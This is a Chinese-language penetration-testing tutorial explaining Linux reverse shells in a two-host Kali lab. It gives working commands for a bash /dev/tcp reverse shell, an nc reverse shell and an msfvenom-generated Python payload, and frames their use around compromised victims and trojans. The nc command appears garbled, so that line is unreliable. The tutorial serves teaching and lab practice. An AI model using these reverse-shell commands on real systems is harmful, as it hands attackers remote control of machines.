渗透测试/反弹shell

Linux下的反弹shell

1、什么是反弹shell
就是控制端监听在某TCP/UDP端口，被控端发起请求到该端口，并将其命令行的输入输出转到控制端。reverse shell与telnet，ssh等标准shell对应，本质上是网络概念的客户端与服务端的角色反转。
2、反弹shell的原因
通常用于被控端因防火墙受限、权限不足、端口被占用等情形

假设我们攻击了一台机器，打开了该机器的一个端口，攻击者在自己的机器去连接目标机器（目标ip：目标机器端口），这是比较常规的形式，我们叫做正向连接。远程桌面，web服务，ssh，telnet等等，都是正向连接。那么什么情况下正向连接不太好用了呢？

（1）某客户机中了你的网马，但是它在局域网内，你直接连接不了。
（2）它的ip会动态改变，你不能持续控制。
（3）由于防火墙等限制，对方机器只能发送请求，不能接收请求。
（4）对于病毒，木马，受害者什么时候能中招，对方的网络环境是什么样的，什么时候开关机，都是未知，所以建立一个服务端，让恶意程序主动连接，才是上策。 那么反弹就很好理解了，攻击者指定服务端，受害者主机主动连接攻击者的服务端程序，就叫反弹连接。

在本实验中，使用两台kali机器 a、b
a的IP地址：10.1.1.100
b的IP地址：10.1.1.101

3、bash直接反弹
(1)在A上使用nc监听 nc -lvvp 123
(2)在B上使用bash反弹 bash -i >& /dev/tcp/10.1.1.100/123 0>&1
此时在A上就会收到shell，就能用以操作。

重点语句分析

1、Bash –I 即产生一个bash交互环境
2、>&
1）当>&后面接文件时，表示将标准输出和标准错误输出重定向至文件

2）当>&后面接文件描述符时，表示将前面的文件描述符重定向至后面的文件描述符

3、/dev/tcp/10.1.1.100/123 让主机B与主机A（10.1.1.100）进行tcp连接，端口为123（注：linux下所有内容都以文件形式组织存在，所以看到/dev/tcp不用感到奇怪，它是Linux中的一个特殊设备,打开这个文件就相当于进行了一个socket调用，建立一个socket连接）

＞& 后面接 /dev/tcp/ip/port，根据3的注释和2的注释1)部分可知，意思为将标准输出和标准错误输出重定向到这个文件，重定向到socket连接的远程主机A上，此时如果主机A正在监听相应的端口，就会收到主机B的bash的标准输出和标准错误输出

4、0>&1 将标准输入重定向到标准输出，而标准输出在之前已经重定向到主机A了，添加这一部分是因为如果没有这一部分，在主机A上只能接收输出，而无法输入，或者说无法交互，添加上这一部分后，在主机A看来，就相当于拿到了主机B的shell
（相当于当A获取了B的shell后，不能写命令，而在B上也命令，会向A输出）

4、利用nc反弹
（1）主机A开启监听 nc -lvvp 1234
（2) 主机B反弹 nc 10.1.1.100 1234 -t -3/bin/bash
(使用nc命令直接建立一个tcp 1234 的会话连接，然后将本地的bash通过这个会话连接反弹给目标主机)

5、利用msfvenom反弹
（1）在主机A上使用msfvenom -l 搜索相关payload
可以结合关键字进行过滤，优化搜索结果
msfvenom -l payloads | grep 'cmd/unix/reverse‘

（2）假设要使用python实现payload
msfvenom -p cmd/unix/reverse_python lhost=10.1.1.100 lport=1234

（3）在主机A上启动nc进行监听
（4）切换到主机B，在终端输入msfvenom给出的payload

（5）收到反弹的shell

6、利用具体语言实现反弹
参考链接：https://blog.csdn.net/qq_33020901/article/details/78810111